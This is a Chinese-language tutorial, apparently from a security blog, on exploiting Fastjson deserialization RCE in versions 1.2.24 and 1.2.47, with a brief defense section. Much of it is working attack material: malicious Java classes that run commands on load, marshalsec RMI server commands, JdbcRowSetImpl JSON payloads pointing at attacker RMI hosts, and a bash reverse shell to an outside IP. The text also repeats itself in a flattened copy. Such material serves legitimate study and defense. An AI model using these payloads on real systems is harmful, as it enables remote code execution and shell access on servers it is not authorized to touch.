一文读懂面试官都在问的Fastjson漏洞
字数 1327 2025-08-11 00:55:10

Fastjson漏洞分析与利用教学文档

一、Fastjson简介

Fastjson是阿里巴巴的开源JSON解析库,主要功能包括:

  • 解析JSON格式的字符串
  • 将Java Bean序列化为JSON字符串
  • 从JSON字符串反序列化到JavaBean

二、漏洞概述

1. Fastjson 1.2.24 RCE漏洞

  • 漏洞本质:反序列化过程中通过autoType功能导致的远程代码执行
  • 影响版本:<=1.2.24

2. Fastjson 1.2.47 RCE漏洞

  • 漏洞本质:通过特殊构造的json字符串绕过白名单检测
  • 影响版本:<=1.2.47

三、漏洞原理

1. AutoType机制

  • Fastjson自定义的序列化/反序列化机制
  • 通过@type标注类对应的原始类型
  • 反序列化时会读取@type内容,尝试将JSON内容反序列化成指定对象
  • 自动调用该类的setter/getter方法

2. 攻击原理

  • 构造JSON字符串,使用@type指定攻击类库
  • 利用JdbcRowSetImpl进行反序列化攻击
  • 通过setDataSourcesName设置恶意RMI链接
  • 目标服务反序列化时请求RMI服务器,执行远程命令

3. 关键组件

  • JNDI (Java命名和目录接口):提供命名和目录服务
  • RMI (远程方法调用):Java环境的远程方法调用机制
  • LDAP:轻型目录访问协议

四、漏洞检测

1. 指纹特征

  • 任意抓包,改为POST方式,提交不闭合的花括号
  • 返回包中可能出现"fastjson"字样

2. DNSlog盲打

{
  "YikJiang":{
    "@type":"java.net.Inet4Address",
    "val":"pesy0e.dnslog.cn"
  }
}

3. 检测条件

  • Java站点
  • 传输数据为JSON格式
  • 可使用Burp插件检测

五、漏洞利用(1.2.24版本)

1. 环境准备

  • Java 1.8环境(高版本已修复)
  • Python HTTP服务
  • marshalsec工具

2. 攻击步骤

a. 创建恶意类

import java.lang.Runtime;
import java.lang.Process;

public class YikJiang {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/YikJiang0916"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

b. 编译类文件

javac YikJiang.java

c. 启动HTTP服务

python -m http.server 8888

d. 启动RMI服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<your-ip>:8888/#YikJiang" 777

e. 发送Payload

{
  "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://<your-ip>:777/YikJiang",
    "autoCommit":true
  }
}

注意事项

  1. dataSourceName必须放在autoCommit前面
  2. RMI URL后需跟上要获取的远程factory类名

六、漏洞利用(1.2.47版本)

1. 反弹Shell构造

bash -i >& /dev/tcp/192.168.1.161/6666 0>&1

2. 创建恶意类

import java.lang.Runtime;
import java.lang.Process;

public class YikJiang {
    static {
        try {
            Runtime r = Runtime.getRuntime();
            Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.161/6666 0>&1"});
            p.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

3. 发送Payload

{
  "a":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.1.161:9999/YikJiang",
    "autoCommit":true
  }
}

七、防御措施

  1. 升级Fastjson到最新版本
  2. 关闭autotype功能
  3. 使用安全白名单
  4. 对输入进行严格过滤

八、技术要点总结

  1. JdbcRowSetImpl利用链:通过设置dataSourceNameautoCommit触发漏洞

  2. 攻击流程

    • 设置dataSourceName传给lookup方法
    • 设置autoCommit属性触发connect函数
    • connect函数触发lookup函数使用dataSourceName参数
    • 通过RMI访问远程服务器执行命令
  3. 关键点

    • 必须使用Java 1.8环境
    • Payload中属性顺序很重要
    • RMI服务器配置必须正确

本教学文档详细介绍了Fastjson漏洞的原理、检测和利用方法,包含了从基础概念到实际攻击的所有关键步骤,可作为安全研究和防御的参考指南。

Fastjson漏洞分析与利用教学文档 一、Fastjson简介 Fastjson是阿里巴巴的开源JSON解析库,主要功能包括: 解析JSON格式的字符串 将Java Bean序列化为JSON字符串 从JSON字符串反序列化到JavaBean 二、漏洞概述 1. Fastjson 1.2.24 RCE漏洞 漏洞本质 :反序列化过程中通过autoType功能导致的远程代码执行 影响版本 : <=1.2.24 2. Fastjson 1.2.47 RCE漏洞 漏洞本质 :通过特殊构造的json字符串绕过白名单检测 影响版本 : <=1.2.47 三、漏洞原理 1. AutoType机制 Fastjson自定义的序列化/反序列化机制 通过 @type 标注类对应的原始类型 反序列化时会读取 @type 内容,尝试将JSON内容反序列化成指定对象 自动调用该类的setter/getter方法 2. 攻击原理 构造JSON字符串,使用 @type 指定攻击类库 利用 JdbcRowSetImpl 进行反序列化攻击 通过 setDataSourcesName 设置恶意RMI链接 目标服务反序列化时请求RMI服务器,执行远程命令 3. 关键组件 JNDI (Java命名和目录接口) :提供命名和目录服务 RMI (远程方法调用) :Java环境的远程方法调用机制 LDAP :轻型目录访问协议 四、漏洞检测 1. 指纹特征 任意抓包,改为POST方式,提交不闭合的花括号 返回包中可能出现"fastjson"字样 2. DNSlog盲打 3. 检测条件 Java站点 传输数据为JSON格式 可使用Burp插件检测 五、漏洞利用(1.2.24版本) 1. 环境准备 Java 1.8环境(高版本已修复) Python HTTP服务 marshalsec工具 2. 攻击步骤 a. 创建恶意类 b. 编译类文件 c. 启动HTTP服务 d. 启动RMI服务器 e. 发送Payload 注意事项 : dataSourceName 必须放在 autoCommit 前面 RMI URL后需跟上要获取的远程factory类名 六、漏洞利用(1.2.47版本) 1. 反弹Shell构造 2. 创建恶意类 3. 发送Payload 七、防御措施 升级Fastjson到最新版本 关闭autotype功能 使用安全白名单 对输入进行严格过滤 八、技术要点总结 JdbcRowSetImpl利用链 :通过设置 dataSourceName 和 autoCommit 触发漏洞 攻击流程 : 设置 dataSourceName 传给 lookup 方法 设置 autoCommit 属性触发connect函数 connect函数触发lookup函数使用 dataSourceName 参数 通过RMI访问远程服务器执行命令 关键点 : 必须使用Java 1.8环境 Payload中属性顺序很重要 RMI服务器配置必须正确 本教学文档详细介绍了Fastjson漏洞的原理、检测和利用方法,包含了从基础概念到实际攻击的所有关键步骤,可作为安全研究和防御的参考指南。